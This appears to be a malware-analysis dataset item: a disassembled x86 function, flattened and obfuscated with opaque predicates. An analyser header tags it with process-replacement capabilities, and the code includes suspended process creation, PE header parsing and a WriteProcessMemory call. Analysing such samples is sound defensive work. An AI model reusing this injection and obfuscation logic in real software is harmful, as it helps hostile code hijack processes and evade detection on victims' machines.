Function at 0x100031f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x1006ae00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0xf5b00d8e
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x8072ac71
je 0x100075fb
jmp 0x1000322c
mov eax, dword [ebp - 0x118]
sub eax, 0x80ae1e6c
je 0x100057f2
jmp 0x10003242
mov eax, dword [ebp - 0x118]
sub eax, 0x80cd145c
je 0x100099d5
jmp 0x10003258
mov eax, dword [ebp - 0x118]
sub eax, 0x81b156d7
je 0x1000a4b5
jmp 0x1000326e
mov eax, dword [ebp - 0x118]
sub eax, 0x81fe09d7
je 0x10008706
jmp 0x10003284
mov eax, dword [ebp - 0x118]
sub eax, 0x821090e3
je 0x10008175
jmp 0x1000329a
mov eax, dword [ebp - 0x118]
sub eax, 0x82710660
je 0x100065a8
jmp 0x100032b0
mov eax, dword [ebp - 0x118]
sub eax, 0x831b78f6
je 0x1000884d
jmp 0x100032c6
mov eax, dword [ebp - 0x118]
sub eax, 0x8424b319
je 0x10009099
jmp 0x100032dc
mov eax, dword [ebp - 0x118]
sub eax, 0x848a83cc
je 0x10009d48
jmp 0x100032f2
mov eax, dword [ebp - 0x118]
sub eax, 0x8555caf7
je 0x10005d90
jmp 0x10003308
mov eax, dword [ebp - 0x118]
sub eax, 0x855a9d1a
je 0x100061fa
jmp 0x1000331e
mov eax, dword [ebp - 0x118]
sub eax, 0x85c83124
je 0x100083e9
jmp 0x10003334
mov eax, dword [ebp - 0x118]
sub eax, 0x8795c468
je 0x1000abe8
jmp 0x1000334a
mov eax, dword [ebp - 0x118]
sub eax, 0x87fa45c3
je 0x1000883e
jmp 0x10003360
mov eax, dword [ebp - 0x118]
sub eax, 0x881988b4
je 0x1000a268
jmp 0x10003376
mov eax, dword [ebp - 0x118]
sub eax, 0x8848358b
je 0x10005c1f
jmp 0x1000338c
mov eax, dword [ebp - 0x118]
sub eax, 0x896657bb
je 0x1000901f
jmp 0x100033a2
mov eax, dword [ebp - 0x118]
sub eax, 0x8a161795
je 0x100086c8
jmp 0x100033b8
mov eax, dword [ebp - 0x118]
sub eax, 0x8ba6a686
je 0x10008229
jmp 0x100033ce
mov eax, dword [ebp - 0x118]
sub eax, 0x8bd098ea
je 0x10008723
jmp 0x100033e4
mov eax, dword [ebp - 0x118]
sub eax, 0x8be873b5
je 0x10009f72
jmp 0x100033fa
mov eax, dword [ebp - 0x118]
sub eax, 0x8c124c82
je 0x10008aaa
jmp 0x10003410
mov eax, dword [ebp - 0x118]
sub eax, 0x8c39d8a9
je 0x1000ab2f
jmp 0x10003426
mov eax, dword [ebp - 0x118]
sub eax, 0x8c5b29f5
je 0x100069bf
jmp 0x1000343c
mov eax, dword [ebp - 0x118]
sub eax, 0x8c782721
je 0x1000abd9
jmp 0x10003452
mov eax, dword [ebp - 0x118]
sub eax, 0x8e645d7a
je 0x1000805d
jmp 0x10003468
mov eax, dword [ebp - 0x118]
sub eax, 0x8ed2b9c5
je 0x100086e7
jmp 0x1000347e
mov eax, dword [ebp - 0x118]
sub eax, 0x8f8025ea
je 0x1000a9e9
jmp 0x10003494
mov eax, dword [ebp - 0x118]
sub eax, 0x8f84c201
je 0x1000aa19
jmp 0x100034aa
mov eax, dword [ebp - 0x118]
sub eax, 0x905ecdbf
je 0x1000938c
jmp 0x100034c0
mov eax, dword [ebp - 0x118]
sub eax, 0x9181b06f
je 0x100070b0
jmp 0x100034d6
mov eax, dword [ebp - 0x118]
sub eax, 0x91a7cb6c
je 0x100085f2
jmp 0x100034ec
mov eax, dword [ebp - 0x118]
sub eax, 0x922d30dd
je 0x100088b8
jmp 0x10003502
mov eax, dword [ebp - 0x118]
sub eax, 0x939a855d
je 0x1000ae52
jmp 0x10003518
mov eax, dword [ebp - 0x118]
sub eax, 0x96f3ce4d
je 0x100079eb
jmp 0x1000352e
mov eax, dword [ebp - 0x118]
sub eax, 0x9753258a
je 0x100077b7
jmp 0x10003544
mov eax, dword [ebp - 0x118]
sub eax, 0x98552feb
je 0x1000925d
jmp 0x1000355a
mov eax, dword [ebp - 0x118]
sub eax, 0x98b9cdb6
je 0x1000837f
jmp 0x10003570
mov eax, dword [ebp - 0x118]
sub eax, 0x98d9dd34
je 0x10006dc5
jmp 0x10003586
mov eax, dword [ebp - 0x118]
sub eax, 0x98e311ed
je 0x1000752c
jmp 0x1000359c
mov eax, dword [ebp - 0x118]
sub eax, 0x993f8207
je 0x10006e3f
jmp 0x100035b2
mov eax, dword [ebp - 0x118]
sub eax, 0x99daa835
je 0x1000769d
jmp 0x100035c8
mov eax, dword [ebp - 0x118]
sub eax, 0x9b6e810e
je 0x10008333
jmp 0x100035de
mov eax, dword [ebp - 0x118]
sub eax, 0x9bd3ca30
je 0x10005d22
jmp 0x100035f4
mov eax, dword [ebp - 0x118]
sub eax, 0x9cd8e09c
je 0x10006446
jmp 0x1000360a
mov eax, dword [ebp - 0x118]
sub eax, 0x9d5a54e5
je 0x10009774
jmp 0x10003620
mov eax, dword [ebp - 0x118]
sub eax, 0x9d9e2734
je 0x100082e2
jmp 0x10003636
mov eax, dword [ebp - 0x118]
sub eax, 0x9f45d055
je 0x1000734b
jmp 0x1000364c
mov eax, dword [ebp - 0x118]
sub eax, 0x9fc03d84
je 0x10008cda
jmp 0x10003662
mov eax, dword [ebp - 0x118]
sub eax, 0xa00a11f3
je 0x10005c2e
jmp 0x10003678
mov eax, dword [ebp - 0x118]
sub eax, 0xa0fbb686
je 0x1000a277
jmp 0x1000368e
mov eax, dword [ebp - 0x118]
sub eax, 0xa23e586d
je 0x1000a08a
jmp 0x100036a4
mov eax, dword [ebp - 0x118]
sub eax, 0xa2a97508
je 0x100060d6
jmp 0x100036ba
mov eax, dword [ebp - 0x118]
sub eax, 0xa476e8d1
je 0x1000924e
jmp 0x100036d0
mov eax, dword [ebp - 0x118]
sub eax, 0xa49317ce
je 0x10006fba
jmp 0x100036e6
mov eax, dword [ebp - 0x118]
sub eax, 0xa534f5fc
je 0x10005948
jmp 0x100036fc
mov eax, dword [ebp - 0x118]
sub eax, 0xa59da744
je 0x1000aeae
jmp 0x10003712
mov eax, dword [ebp - 0x118]
sub eax, 0xa6441858
je 0x1000a15e
jmp 0x10003728
mov eax, dword [ebp - 0x118]
sub eax, 0xa6a50fd9
je 0x10009c25
jmp 0x1000373e
mov eax, dword [ebp - 0x118]
sub eax, 0xa6debfc6
je 0x10006d4f
jmp 0x10003754
mov eax, dword [ebp - 0x118]
sub eax, 0xa7f0f04d
je 0x100092a0
jmp 0x1000376a
mov eax, dword [ebp - 0x118]
sub eax, 0xa95806c9
je 0x10008dd6
jmp 0x10003780
mov eax, dword [ebp - 0x118]
sub eax, 0xa9fd1cd5
je 0x10007627
jmp 0x10003796
mov eax, dword [ebp - 0x118]
sub eax, 0xad56fb0d
je 0x1000ada8
movss xmm0, dword [0x1001839c]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x114], 0xcd9efef4
jmp 0x1000b120
movss xmm0, dword [0x10018394]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x114], 0x243161d
jmp 0x1000b120
mov dword [ebp - 0x114], 0xa00a11f3
jmp 0x1000b120
movss xmm0, dword [0x10018390]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x114], 0x7a423190
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xddc0f80d
mov ecx, 0x8555caf7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
movss xmm0, dword [0x10018220]
movss dword [ebp - 0xe8], xmm0
mov eax, dword [0x1006c128]
mov ecx, dword [0x1006c124]
mov edx, eax
add edx, 0xd9c47f8d
sub edx, 1
sub edx, 0xd9c47f8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xddc0f80d
mov ecx, 0xd6784545
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
sub edx, 0x2af0b749
sub edx, 1
add edx, 0x2af0b749
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x145d1c69
mov ecx, 0xffdc55ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, 1
mov eax, 0x673b738c
mov ecx, 0x5bfe7d5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0x5bc176e0
jmp 0x1000b120
mov dl, 1
mov eax, 0x67a391f1
mov ecx, 0x49a74e79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0xfcb8e373
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
sub edx, 0x7a5bf635
sub edx, 1
add edx, 0x7a5bf635
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8c782721
mov ecx, 0x98d9dd34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, 1
mov eax, 0xe242ec05
mov ecx, 0xd209a018
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, 1
mov eax, 0x6c22bd6b
mov ecx, 0xe442fe70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
movss xmm0, dword [0x100182e8]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x100182e4]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x114], 0x5c04bf0f
jmp 0x1000b120
mov dword [ebp - 0x114], 0x8526cff
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
sub edx, 0xdd021d36
sub edx, 1
add edx, 0xdd021d36
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8dd3d
mov ecx, 0x7eb52fd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
add edx, 0xf7b7832b
sub edx, 1
sub edx, 0xf7b7832b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72e54710
mov ecx, 0x51b0cfe1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0x66b61178
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
sub edx, 0x5a752d5c
sub edx, 1
add edx, 0x5a752d5c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x42a02048
mov ecx, 0x99daa835
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0xf8], xmm0
mov eax, dword [0x1006c128]
mov ecx, dword [0x1006c124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42a02048
mov ecx, 0xd940d3e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0xc6049c79
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ab7736c
mov ecx, 0xf781f28e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0xb8fe961
jmp 0x1000b120
movss xmm0, dword [0x100182a0]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x1001829c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0xf00f602a
jmp 0x1000b120
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0xfc], xmm0
mov eax, dword [0x1006c128]
mov ecx, dword [0x1006c124]
mov edx, eax
add edx, 0xb7a608cb
sub edx, 1
sub edx, 0xb7a608cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc0bb5f34
mov ecx, 0xcd3b51b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov eax, dword [0x1006c128]
mov ecx, dword [0x1006c124]
mov edx, eax
add edx, 0x41379246
sub edx, 1
sub edx, 0x41379246
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x27c38dd4
mov ecx, 0x9b6e810e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, 1
mov eax, 0xb7347861
mov ecx, 0xcee14d2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0xb7347861
jmp 0x1000b120
movss xmm0, dword [0x10018288]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x114], 0xbb909f63
jmp 0x1000b120
mov dl, 1
mov eax, 0x8ed2b9c5
mov ecx, 0x50898da8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
movss xmm0, dword [0x10018284]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0x8ed2b9c5
jmp 0x1000b120
movss xmm0, dword [0x10018280]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0x81fe09d7
jmp 0x1000b120
mov dl, 1
mov eax, 0x831b78f6
mov ecx, 0x8bd098ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
movss xmm0, dword [0x1001827c]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10018278]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0xf85cf51b
jmp 0x1000b120
mov dword [ebp - 0x114], 0x831b78f6
jmp 0x1000b120
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0x447d1c72
jmp 0x1000b120
mov dword [ebp - 0x114], 0x64260a0c
jmp 0x1000b120
movss xmm0, dword [0x10018260]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0xfddbc163
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
add edx, 0x4e972621
sub edx, 1
sub edx, 0x4e972621
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x578b0a93
mov ecx, 0x592216d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0x2cdece7f
jmp 0x1000b120
movss xmm0, dword [0x10018238]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0x36805a18
jmp 0x1000b120
mov eax, dword [0x1006c128]
mov ecx, dword [0x1006c124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7eb144c
mov ecx, 0x31b2ca01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dword [ebp - 0x114], 0x98552feb
jmp 0x1000b120
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4be00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x114], 0xa7f0f04d
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
mov edx, ecx
sub edx, 0x6bb476d6
sub edx, 1
add edx, 0x6bb476d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35fe1ad1
mov ecx, 0x4168ce3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, byte [ebp - 0x8d]
mov eax, 0x8f8025ea
mov ecx, 0x6ec0ce70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, byte [ebp - 0x7d]
mov eax, 0xcec60ce4
mov ecx, 0xfdf40382
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x70]
mov eax, 0x2c8eb51f
mov ecx, 0xc9f8ba3d
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x58]
mov eax, 0xf6f724c2
mov ecx, 0x3507a0c9
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov ecx, dword [0x1006c128]
mov eax, dword [0x1006c124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x45d05f2d
mov ecx, 0x46cda9a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, byte [ebp - 0x3d]
mov eax, 0x1670b4a0
mov ecx, 0x305edabc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov dl, byte [ebp - 0x31]
mov eax, 0x1670b4a0
mov ecx, 0xf5c299c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov eax, dword [ebp - 0xa0]
mov dword [eax], 0
mov dword [ebp - 0x114], 0x547d5fa9
jmp 0x1000b120
mov dword [ebp - 0x114], 0xa0fbb686
jmp 0x1000b120
mov eax, dword [ebp - 0xa8]
mov esi, dword [eax]
mov edx, dword [ebp - 0x2c]
mov eax, 0x57f269b3
mov ecx, 0xe7f61653
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b120
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
sub ecx, 0x1b2c7302
add ecx, eax
add ecx, 0x1b2c7302
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x114], 0xcb8963b2
jmp 0x1000b120
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ba00
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x114], 0x108bd7b
jmp 0x1000b120
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x114], 0x20091e61
jmp 0x1000b120
mov dword [ebp - 0x114], 0xa6debfc6
jmp 0x1000b120
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x114], 0x7038791f
jmp 0x1000b120
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x114], 0x77f37d91
jmp 0x1000b120
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x114], 0xf181259a
jmp 0x1000b120
jmp 0x10003210